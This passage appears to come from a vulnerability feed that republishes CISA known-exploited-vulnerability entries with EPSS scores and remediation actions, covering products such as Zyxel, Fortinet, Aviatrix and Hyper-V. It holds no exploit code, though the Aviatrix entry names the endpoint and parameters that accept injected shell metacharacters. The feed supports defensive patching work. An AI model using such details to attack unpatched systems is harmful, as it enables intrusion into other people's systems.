attacker to disable USB Restricted Mode on a locked device. EPSS 4.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-24200&date=2026-10-25). Sources: CISA KEV entry CVE-2025-24200: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-24200&date=2026-10-25 CISA added this entry on 2025-02-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 12, 2025; federal due date Mar 5, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Mitel SIP Phones Argument Injection Vulnerability https://kevwire.com/record/CVE-2024-41710 Mitel SIP Phones Argument Injection Vulnerability (Feb 12, 2025). Mitel 6800 Series, 6900 Series, and 6900w Series SIP Phones, including the 6970 Conference Unit, contain an argument injection vulnerability due to insufficient parameter sanitization during the boot process. Successful exploitation may allow an attacker to execute arbitrary commands within the context of the system. EPSS 41.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-41710&date=2026-10-25). Sources: CISA KEV entry CVE-2024-41710: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-41710&date=2026-10-25 CISA added this entry on 2025-02-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 12, 2025; federal due date Mar 5, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Zyxel DSL CPE OS Command Injection Vulnerability https://kevwire.com/record/CVE-2024-40891 Zyxel DSL CPE OS Command Injection Vulnerability (Feb 11, 2025). Multiple Zyxel DSL CPE devices contain a post-authentication command injection vulnerability in the management commands that could allow an authenticated attacker to execute OS commands via Telnet. EPSS 22.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-40891&date=2026-10-25). Sources: CISA KEV entry CVE-2024-40891: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-40891&date=2026-10-25 CISA added this entry on 2025-02-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization if a current mitigation is unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 11, 2025; federal due date Mar 4, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Zyxel DSL CPE OS Command Injection Vulnerability https://kevwire.com/record/CVE-2024-40890 Zyxel DSL CPE OS Command Injection Vulnerability (Feb 11, 2025). Multiple Zyxel DSL CPE devices contain a post-authentication command injection vulnerability in the CGI program that could allow an authenticated attacker to execute OS commands via a crafted HTTP request. EPSS 20.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-40890&date=2026-10-25). Sources: CISA KEV entry CVE-2024-40890: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-40890&date=2026-10-25 CISA added this entry on 2025-02-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization if a current mitigation is unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 11, 2025; federal due date Mar 4, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Ancillary Function Driver for WinSock Heap-Based Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2025-21418 Microsoft Windows Ancillary Function Driver for WinSock Heap-Based Buffer Overflow Vulnerability (Feb 11, 2025). Microsoft Windows Ancillary Function Driver for WinSock contains a heap-based buffer overflow vulnerability that allows for privilege escalation, enabling a local attacker to gain SYSTEM privileges. EPSS 2.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-21418&date=2026-10-25). Sources: CISA KEV entry CVE-2025-21418: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-21418&date=2026-10-25 CISA added this entry on 2025-02-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 11, 2025; federal due date Mar 4, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Storage Link Following Vulnerability https://kevwire.com/record/CVE-2025-21391 Microsoft Windows Storage Link Following Vulnerability (Feb 11, 2025). Microsoft Windows Storage contains a link following vulnerability that could allow for privilege escalation. This vulnerability could allow an attacker to delete data including data that results in the service being unavailable. EPSS 2.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-21391&date=2026-10-25). Sources: CISA KEV entry CVE-2025-21391: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-21391&date=2026-10-25 CISA added this entry on 2025-02-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 11, 2025; federal due date Mar 4, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Trimble Cityworks Deserialization Vulnerability https://kevwire.com/record/CVE-2025-0994 Trimble Cityworks Deserialization Vulnerability (Feb 7, 2025). Trimble Cityworks contains a deserialization vulnerability. This could allow an authenticated user to perform a remote code execution attack against a customer's Microsoft Internet Information Services (IIS) web server. EPSS 31.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-0994&date=2026-10-25). Sources: CISA KEV entry CVE-2025-0994: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-0994&date=2026-10-25 CISA added this entry on 2025-02-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 7, 2025; federal due date Feb 28, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Sophos XG Firewall Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2020-15069 Sophos XG Firewall Buffer Overflow Vulnerability (Feb 6, 2025). Sophos XG Firewall contains a buffer overflow vulnerability that allows for remote code execution via the "HTTP/S bookmark" feature. EPSS 10.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-15069&date=2026-10-25). Sources: CISA KEV entry CVE-2020-15069: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-15069&date=2026-10-25 CISA added this entry on 2025-02-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 6, 2025; federal due date Feb 27, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### CyberoamOS (CROS) SQL Injection Vulnerability https://kevwire.com/record/CVE-2020-29574 CyberoamOS (CROS) SQL Injection Vulnerability (Feb 6, 2025). CyberoamOS (CROS) contains a SQL injection vulnerability in the WebAdmin that allows an unauthenticated attacker to execute arbitrary SQL statements remotely. EPSS 4.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-29574&date=2026-10-25). Sources: CISA KEV entry CVE-2020-29574: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-29574&date=2026-10-25 CISA added this entry on 2025-02-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue utilization of the product. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 6, 2025; federal due date Feb 27, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Outlook Improper Input Validation Vulnerability https://kevwire.com/record/CVE-2024-21413 Microsoft Outlook Improper Input Validation Vulnerability (Feb 6, 2025). Microsoft Outlook contains an improper input validation vulnerability that allows for remote code execution. Successful exploitation of this vulnerability would allow an attacker to bypass the Office Protected View and open in editing mode rather than protected mode. EPSS 94.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-21413&date=2026-10-25). Sources: CISA KEV entry CVE-2024-21413: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-21413&date=2026-10-25 CISA added this entry on 2025-02-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 6, 2025; federal due date Feb 27, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Dante Discovery Process Control Vulnerability https://kevwire.com/record/CVE-2022-23748 Dante Discovery Process Control Vulnerability (Feb 6, 2025). Dante Discovery contains a process control vulnerability in mDNSResponder.exe that all allows for a DLL sideloading attack. A local attacker can leverage this vulnerability in the Dante Application Library to execute arbitrary code. EPSS 8.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-23748&date=2026-10-25). Sources: CISA KEV entry CVE-2022-23748: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-23748&date=2026-10-25 CISA added this entry on 2025-02-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 6, 2025; federal due date Feb 27, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### 7-Zip Mark of the Web Bypass Vulnerability https://kevwire.com/record/CVE-2025-0411 7-Zip Mark of the Web Bypass Vulnerability (Feb 6, 2025). 7-Zip contains a protection mechanism failure vulnerability that allows remote attackers to bypass the Mark-of-the-Web security feature to execute arbitrary code in the context of the current user. EPSS 67.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-0411&date=2026-10-25). Sources: CISA KEV entry CVE-2025-0411: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-0411&date=2026-10-25 CISA added this entry on 2025-02-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 6, 2025; federal due date Feb 27, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Linux Kernel Out-of-Bounds Write Vulnerability https://kevwire.com/record/CVE-2024-53104 Linux Kernel Out-of-Bounds Write Vulnerability (Feb 5, 2025). Linux kernel contains an out-of-bounds write vulnerability in the uvc_parse_streaming component of the USB Video Class (UVC) driver that could allow for physical escalation of privilege. EPSS 3.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-53104&date=2026-10-25). Sources: CISA KEV entry CVE-2024-53104: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-53104&date=2026-10-25 CISA added this entry on 2025-02-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 5, 2025; federal due date Feb 26, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Paessler PRTG Network Monitor Local File Inclusion Vulnerability https://kevwire.com/record/CVE-2018-19410 Paessler PRTG Network Monitor Local File Inclusion Vulnerability (Feb 4, 2025). Paessler PRTG Network Monitor contains a local file inclusion vulnerability that allows a remote, unauthenticated attacker to create users with read-write privileges (including administrator). EPSS 97.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-19410&date=2026-10-25). Sources: CISA KEV entry CVE-2018-19410: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-19410&date=2026-10-25 CISA added this entry on 2025-02-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 4, 2025; federal due date Feb 25, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Paessler PRTG Network Monitor OS Command Injection Vulnerability https://kevwire.com/record/CVE-2018-9276 Paessler PRTG Network Monitor OS Command Injection Vulnerability (Feb 4, 2025). Paessler PRTG Network Monitor contains an OS command injection vulnerability that allows an attacker with administrative privileges to execute commands via the PRTG System Administrator web console. EPSS 87.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-9276&date=2026-10-25). Sources: CISA KEV entry CVE-2018-9276: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-9276&date=2026-10-25 CISA added this entry on 2025-02-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 4, 2025; federal due date Feb 25, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft .NET Framework Information Disclosure Vulnerability https://kevwire.com/record/CVE-2024-29059 Microsoft .NET Framework Information Disclosure Vulnerability (Feb 4, 2025). Microsoft .NET Framework contains an information disclosure vulnerability that exposes the ObjRef URI to an attacker, ultimately enabling remote code execution. EPSS 98.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-29059&date=2026-10-25). Sources: CISA KEV entry CVE-2024-29059: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-29059&date=2026-10-25 CISA added this entry on 2025-02-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 4, 2025; federal due date Feb 25, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apache OFBiz Forced Browsing Vulnerability https://kevwire.com/record/CVE-2024-45195 Apache OFBiz Forced Browsing Vulnerability (Feb 4, 2025). Apache OFBiz contains a forced browsing vulnerability that allows a remote attacker to obtain unauthorized access. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-45195&date=2026-10-25). Sources: CISA KEV entry CVE-2024-45195: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-45195&date=2026-10-25 CISA added this entry on 2025-02-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 4, 2025; federal due date Feb 25, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products Use-After-Free Vulnerability https://kevwire.com/record/CVE-2025-24085 Apple Multiple Products Use-After-Free Vulnerability (Jan 29, 2025). Apple iOS, macOS, and other Apple products contain a user-after-free vulnerability that could allow a malicious application to elevate privileges. EPSS 17.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-24085&date=2026-10-25). Sources: CISA KEV entry CVE-2025-24085: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-24085&date=2026-10-25 CISA added this entry on 2025-01-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 29, 2025; federal due date Feb 19, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SonicWall SMA1000 Appliances Deserialization Vulnerability https://kevwire.com/record/CVE-2025-23006 SonicWall SMA1000 Appliances Deserialization Vulnerability (Jan 24, 2025). SonicWall SMA1000 Appliance Management Console (AMC) and Central Management Console (CMC) contain a deserialization of untrusted data vulnerability, which can enable a remote, unauthenticated attacker to execute arbitrary OS commands. EPSS 23.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-23006&date=2026-10-25). Sources: CISA KEV entry CVE-2025-23006: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-23006&date=2026-10-25 CISA added this entry on 2025-01-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 24, 2025; federal due date Feb 14, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### JQuery Cross-Site Scripting (XSS) Vulnerability https://kevwire.com/record/CVE-2020-11023 JQuery Cross-Site Scripting (XSS) Vulnerability (Jan 23, 2025). JQuery contains a persistent cross-site scripting (XSS) vulnerability. When passing maliciously formed, untrusted input enclosed in HTML tags, JQuery's DOM manipulators can execute untrusted code in the context of the user's browser. EPSS 84.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-11023&date=2026-10-25). Sources: CISA KEV entry CVE-2020-11023: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-11023&date=2026-10-25 CISA added this entry on 2025-01-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 23, 2025; federal due date Feb 13, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Aviatrix Controllers OS Command Injection Vulnerability https://kevwire.com/record/CVE-2024-50603 Aviatrix Controllers OS Command Injection Vulnerability (Jan 16, 2025). Aviatrix Controllers contain an OS command injection vulnerability that could allow an unauthenticated attacker to execute arbitrary code. Shell metacharacters can be sent to /v1/api in cloud_type for list_flightpath_destination_instances, or src_cloud_type for flightpath_connection_test. EPSS 98.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-50603&date=2026-10-25). Sources: CISA KEV entry CVE-2024-50603: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-50603&date=2026-10-25 CISA added this entry on 2025-01-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 16, 2025; federal due date Feb 6, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Hyper-V NT Kernel Integration VSP Use-After-Free Vulnerability https://kevwire.com/record/CVE-2025-21335 Microsoft Windows Hyper-V NT Kernel Integration VSP Use-After-Free Vulnerability (Jan 14, 2025). Microsoft Windows Hyper-V NT Kernel Integration VSP contains a use-after-free vulnerability that allows a local attacker to gain SYSTEM privileges. EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-21335&date=2026-10-25). Sources: CISA KEV entry CVE-2025-21335: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-21335&date=2026-10-25 CISA added this entry on 2025-01-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 14, 2025; federal due date Feb 4, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Hyper-V NT Kernel Integration VSP Use-After-Free Vulnerability https://kevwire.com/record/CVE-2025-21334 Microsoft Windows Hyper-V NT Kernel Integration VSP Use-After-Free Vulnerability (Jan 14, 2025). Microsoft Windows Hyper-V NT Kernel Integration VSP contains a use-after-free vulnerability that allows a local attacker to gain SYSTEM privileges. EPSS 1.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-21334&date=2026-10-25). Sources: CISA KEV entry CVE-2025-21334: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-21334&date=2026-10-25 CISA added this entry on 2025-01-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 14, 2025; federal due date Feb 4, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Hyper-V NT Kernel Integration VSP Heap-based Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2025-21333 Microsoft Windows Hyper-V NT Kernel Integration VSP Heap-based Buffer Overflow Vulnerability (Jan 14, 2025). Microsoft Windows Hyper-V NT Kernel Integration VSP contains a heap-based buffer overflow vulnerability that allows a local attacker to gain SYSTEM privileges. EPSS 10.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-21333&date=2026-10-25). Sources: CISA KEV entry CVE-2025-21333: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-21333&date=2026-10-25 CISA added this entry on 2025-01-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 14, 2025; federal due date Feb 4, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Fortinet FortiOS and FortiProxy Authentication Bypass Vulnerability https://kevwire.com/record/CVE-2024-55591 Fortinet FortiOS and FortiProxy Authentication Bypass Vulnerability (Jan 14, 2025). Fortinet FortiOS and FortiProxy contain an authentication bypass vulnerability that may allow an unauthenticated, remote attacker to gain super-admin privileges via crafted requests to Node.js websocket module. EPSS 94.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-55591&date=2026-10-25). Sources: CISA KEV entry CVE-2024-55591: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-55591&date=2026-10-25 CISA added this entry on 2025-01-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 14, 2025; federal due date Jan 21, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Qlik Sense HTTP Tunneling Vulnerability https://kevwire.com/record/CVE-2023-48365 Qlik Sense HTTP Tunneling Vulnerability (Jan 13, 2025). Qlik Sense contains an HTTP tunneling vulnerability that allows an attacker to escalate privileges and execute HTTP requests on the backend server hosting the software. EPSS 47.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-48365&date=2026-10-25). Sources: CISA KEV entry CVE-2023-48365: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-48365&date=2026-10-25 CISA added this entry on 2025-01-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. 